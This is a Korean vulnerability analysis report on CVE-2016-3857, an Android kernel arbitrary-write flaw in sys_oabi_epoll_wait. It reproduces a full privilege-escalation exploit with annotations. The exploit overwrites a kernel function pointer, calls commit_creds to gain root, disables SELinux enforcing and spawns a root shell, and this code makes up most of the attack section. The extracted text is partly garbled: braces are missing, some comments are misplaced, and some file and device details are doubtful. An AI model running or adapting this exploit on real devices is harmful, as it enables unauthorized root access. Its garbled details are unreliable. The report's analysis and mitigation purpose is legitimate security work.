CVE-2016-3857 취약점분석보고서 ( 안드로이드커널임의쓰기취약점 ) ㅁ작성자 : x90c (x90chacker@gmail.com) ㅁ작성일 : 2018 년 7 월 18 일 ( 수 ) ㅁ대외비등급 : A (Top Secret) 1
[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2
1. 취약점개요 Zuk Avraham(@ihackbanme) 와 Nicolas Trippar(@ntrippar) 가 2017 년 5 월 25 일안드로이 드커널의임의쓰기취약점을보고했습니다. 해당취약점을통해권한상승이가능하므로 매우크리티컬한취약점이라고할수있습니다. 취약한안드로이드는버전 6.0 이하버전대이고, 취약한장치로는 Huawei MT7-UL00, Nexsus 7 이취약합니다. 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) - 테스트환경구축이어려워수행하지않고분석만했습니다. 양해바랍니다. 4. 취약점발생원인분석 /drivers/video/tegra/host/bus_client.c 파일의 'sys_oabi_epoll_wait' 커널함수에 취약점이존재합니다. 만약안드로이드 6.0 이전버전일때 'CONFIG_OABI_COMPACT' 가 3
설정되어있습니다. 따라서이것들은 Nexus 7(2003 년도 ) 나 Huawei MT7-UL00 에서취약합 니다. 'sys_oabi_epoll_wait' 과 ' put_user_error' 커널함수가유저랜드로부터온이벤트 포인터를적절히검사하지않는데, 만약이벤트들에커널주소를설정할수있다면 임의커널쓰기문제로이어질수있습니다. 보고된공격코드는 put_user_error() 호출을통해서공격하도록개발되었습니다. 아래는취약코드입니다. asmlinkage long sys_oabi_epoll_wait(int epfd,struct oabi_epoll_event user *events, int maxevents, int timeout) [...] for (i = 0; i < ret; i++) put_user_error(kbuf[i].events, &events->events, err); // 취약점발생지점. put_user_error(kbuf[i].data, &events->data, err); events++; [...] #define put_user_error(x, ptr, err) \ ( \ put_user_switch((x), (ptr), (err), put_user_nocheck); \ (void) 0; \ ) #define put_user_switch(x, ptr, err, fn) \ do \ const typeof (*(ptr)) user * pu_ptr = (ptr); \ // pu_ptr 포인터선언. typeof (*(ptr)) pu_val = (x); \ // pu_val = x( 첫인자 ) 설정. unsigned int ua_flags; \ might_fault(); \ ua_flags = uaccess_save_and_enable(); \ switch (sizeof(*(ptr))) \ // 포인터 크기에따라 fn() 함수호출함. 4
case 1: fn( pu_val, pu_ptr, err, 1); break; \ case 2: fn( pu_val, pu_ptr, err, 2); break; \ case 4: fn( pu_val, pu_ptr, err, 4); break; \ case 8: fn( pu_val, pu_ptr, err, 8); break; \ default: err = put_user_bad(); break; \ \ uaccess_restore( ua_flags); \ while (0) 4.1 취약점 Q&A 5. exploit 분석 > exploit 코드파일명 : cve-2016-3857.c /* * Just for Nexus 7(2013) LMY48T, if you want to run it on other version, some symbols address should be changed * * root@flo:/ # getprop ro.build.fingerprint * google/razor/flo:5.1.1/lmy48t/2237560:user/release-keys * * By Jianqiang Zhao(zhaojianqiang1@gmail.com) * 02-28-2017 * * Pointer Overwrite 취약점. - x90c (2018-07-17) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <arpa/inet.h> #include <sys/socket.h> 5
// epollevent 구조체선언레퍼런스 : // - https://android.googlesource.com/platform/bionic/+/d1ad4f6/libc/include/sys/ep oll.h #include <sys/epoll.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> #include <sys/system_properties.h> #include "pwn.h" #define MAXEVENTS 1 #define PORT 2222 #define epoll_wait_syscall(efd, events, maxevents, a) \ 리코드선언되어있음. oabi_syscall(efd, events, maxevents, a) // syscall.s 파일에어셈블 static int pfd[2]; typedef void (*COMMIT_CREDS)(unsigned int cred); typedef unsigned int (*PREPARE_KERNEL_CRED)(int cred); static COMMIT_CREDS commit_creds; static PREPARE_KERNEL_CRED prepare_kernel_cred; /* trigger: 취약점트리거기능및루트쉘획득기능! */ static trigger(void) int fd; fd = open("/dev/ptmx", O_RDONLY); // (9) /dev/ptmx 터미날 fd 오픈! if(fd == -1) printf("open ptmx fail (%s)\n", strerror(errno)); return -1; fsync(fd); // (10) 덮어쓰기된함수 (shellcode 함수 ) 호출! ( 쉘뜸 ) 6
close(fd); return 0; /* shellcode: 커널함수포인터에 pointer overwrite 될쉘코드기능. */ static void shellcode(void) *(unsigned int*)(current_dev->ptmx_fops + 13 * 4) = current_dev->tty_release; *(unsigned int*)(current_dev->ptmx_fops + 14 * 4) = 0; *(unsigned int*)(current_dev->ptmx_fops + 15 * 4) = 0; commit_creds = (COMMIT_CREDS)current_dev->commit_creds; prepare_kernel_cred = (PREPARE_KERNEL_CRED)current_dev->prepare_kernel_cred; commit_creds(prepare_kernel_cred(0)); // disable SELinux if (current_dev->selinux_enforcing) // selinux 끔. *(uint32_t*)current_dev->selinux_enforcing = 0; /* get_dev_info: 안드로이드장치정보얻는기능. */ static struct dev_spec_s *get_dev_info() int index = 0; struct utsname name = 0; char product_brand[prop_value_max] = 0; char product_model[prop_value_max] = 0; product_brand[0] = 0xab; product_model[0] = 0xab; if (uname(&name)) printf("uname() failed!\n"); return NULL; 7
if (0 == system_property_get("ro.product.brand", product_brand)) if(product_brand[0] == 0x0) printf("can't even get property for ro.product.brand\n"); printf(" system_property_get(ro.product.brand) failed!?\n"); return NULL; NULL; if (0 == system_property_get("ro.product.model", product_model)) if(product_model[0] == 0x0) printf("can't even get property for ro.product.model\n"); printf(" system_property_get(ro.product.model) failed!\n"); return for (index; index < sizeof(dev_list) / sizeof(struct dev_spec_s); index++) if (!strncmp(product_brand, dev_list[index].vendor, strlen(dev_list[index].vendor)) &&!strncmp(product_model, dev_list[index].product, strlen(dev_list[index].product)) &&!strncmp(name.release, dev_list[index].uname_r, strlen(dev_list[index].uname_r)) &&!strncmp(name.version, dev_list[index].uname_v, strlen(dev_list[index].uname_v))) return &dev_list[index]; return NULL; /* */ do_child_process: tcp 연결설정기능. static int do_child_process(void) int sock; struct sockaddr_in serv_addr; int str_len; 8
int ret = 0; char buff[20]; sock = socket(pf_inet, SOCK_STREAM, 0); if (sock == -1) printf("[-] create c socket fail (%s)\n", strerror(errno)); goto out; printf("[+] c socket.\n"); memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); close(pfd[1]); read(pfd[0], buff, sizeof(buff) -1); sleep(0.5); // tcp 소켓연결. if( connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) printf("[-] create c socket fail (%s)\n", strerror(errno)); goto connect_out; printf("[+] c connet.\n"); connect_out: close(sock); out: return ret; /* getroot: 취약점공격메인코드부분. */ static int getroot(void) int serv_sock; 9
pid_t child; int efd; int s; struct epoll_event event; // epoll_event event 정의. unsigned int *aa; int ret = 0; unsigned int target; struct sockaddr_in serv_addr; struct sockaddr_in clnt_addr; memset(&serv_addr, 0, sizeof(serv_addr)); memset(&serv_addr, 0, sizeof(serv_addr)); // (1) TCP 서버소켓하나대기시킴. serv_sock = socket(pf_inet, SOCK_STREAM, 0); if (serv_sock == -1) printf("[-] create s socket fail (%s)\n", strerror(errno)); goto out; printf("[+] create s socket: %d.\n", serv_sock); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); if( bind(serv_sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) printf("[-] s bind fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s bind.\n"); if(listen(serv_sock, 1) == -1) printf("[-] s listen fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s listen.\n"); 10
// (2) epoll_create(1) epoll fd 오픈! efd = epoll_create(1); if (efd == -1) printf("[-] create epoll fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s epoll_create.\n"); // (3) aa 포인터에 event.data.u64 설정, aa[1] = 쉘코드주소, aa[0] 에쉘코드주소설정. aa = (unsigned int*)&(event.data.u64); aa[1] = (unsigned int)shellcode; aa[0] = (unsigned int)shellcode; event.events = EPOLLIN EPOLLET; // 이벤트종류설정. // (4) EPOLL_CTL_ADD( 이벤트추가 ) epoll_ctl 제어명령어수행! s = epoll_ctl (efd, EPOLL_CTL_ADD, serv_sock, &event); if (s == -1) printf("[-] epoll ctl add fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s epoll_ctl.\n"); // 파이프생성. if(pipe(pfd) == -1) printf("[-] create pipe fail (%s)\n", strerror(errno)); goto bind_out; // (5) 프로세스생성. child = fork(); if(child < 0) printf("[-] fork fail (%s)\n", strerror(errno)); goto bind_out; 11
else if(child == 0) do_child_process(); // (6-1) 부모프로세스 : (tcp 연결 1회 ) exit(0); // 자식프로세스인경우 : // pile read 닫기. close(pfd[0]); // (6-2) target = current_dev->ptmx_fops( 하드코드된주소임 ) + 13 * 4 커널주소설정. target = current_dev->ptmx_fops + 13 * 4; write(pfd[1], "ready\n", 10); // (7) epoll_wait_syscall 취약함수호출을위해 target 을두번쨰인자로 epoll 이벤트호출! epoll_wait_syscall(efd, (struct epoll_event *)target, MAXEVENTS, 10000); wait(null); close(serv_sock); // 서버소켓닫기. printf("[+] trigger...\n"); trigger(); // (8) 취약점트리거! if (!setresuid(0, 0, 0)) setresgid(0, 0, 0); puts("\n[+] Got it :)"); printf("uid=%d gid=%d\n", getuid(), getgid()); sleep(1); ret = execl("/system/bin/sh", "/system/bin/sh", NULL); 트쉘실행! if( ret ) printf("execl failed, errno %d\n", errno); else printf("[-] Got root fail!\n"); // (11) 루 return 0; 12
bind_out: close(serv_sock); out: return ret; static void banner(void) printf("\n"); printf("*********************************************************\n"); printf("* Exploit for CVE-2016-3857 *\n"); printf("* For Nexus 7(2013) LMY48T *\n"); printf("* By Jianqiang Zhao (zhaojianqiang1@gmail.com) *\n"); printf("* 02-28-2017 *\n"); printf("*********************************************************\n"); printf("\n"); int main(int argc, char **argv) banner(); if (NULL == (current_dev = get_dev_info())) // 안드로이드폰디바이스정보읽음. printf("[-] error identifying the device or version, please add it to device list in pwc.h.\n"); return -1; getroot(); // 루트쉘획득공격시작!. return 0; 공격과정은아래와같습니다. (1) 쉘코드주소를 event.data 에준비하고, 이이벤트로 EPOL_CTL_ADD 명령어로 epoll_ctl() 을호출합니다. (2) ptmx_fops_fsync 주소를 event 에설정하고, sys_oabi_epoll_wait 13
(epoll_wait_syscall()) 을호출해버그를트리거합니다. (3) /dev/ptmx 디바이스를오픈해, 해당디바이스의 fsync() 함수를호출함으로써덮어씌워진쉘코드주소가실행이되고, 권한이상승합니다. (4) 루트쉘을띄웁니다. 6. 보안대책 취약하지않은커널버전대의배포판을사용하시길권합니다. [4] 7. 결론 임의커널쓰기가가능하도록유저랜드에서지정하는데이터를커널랜드주소인지검사하지않음으로써발생하는임의커널쓰기가능한취약점입니다. 유저랜드에서온주소라는것을적절히검사하고차단하면해당취약점은커널랜드메모리주소를지정할수없기때문에공격이성립되지않습니다. access_ok(verify_write,... ) 커널함수를통해서쓰기가가능한메모리인지검사를하는데유저랜드주소인지검사를하려면이커널함수를호출해서 validation( 적절성검사 ) 를거쳐야합니다. 하지만프로그래머의실수로놓치고빼놓게되면커널메모리에접근하는게가능해지는문제가발생하기에매우쉽게공격당할수있는취약점이발견되곤합니다. 해당취약점도그중하나입니다. 8. 레퍼런스 [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3857 [2] https://www.securityfocus.com/bid/92234/info [3] https://blog.zimperium.com/nday-2017-0103-arbitrary-kernel-write-in-sys_oabi_epoll_wait/ [4] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7de24 9964f5578e67b99699c5f0b405738d820a2 14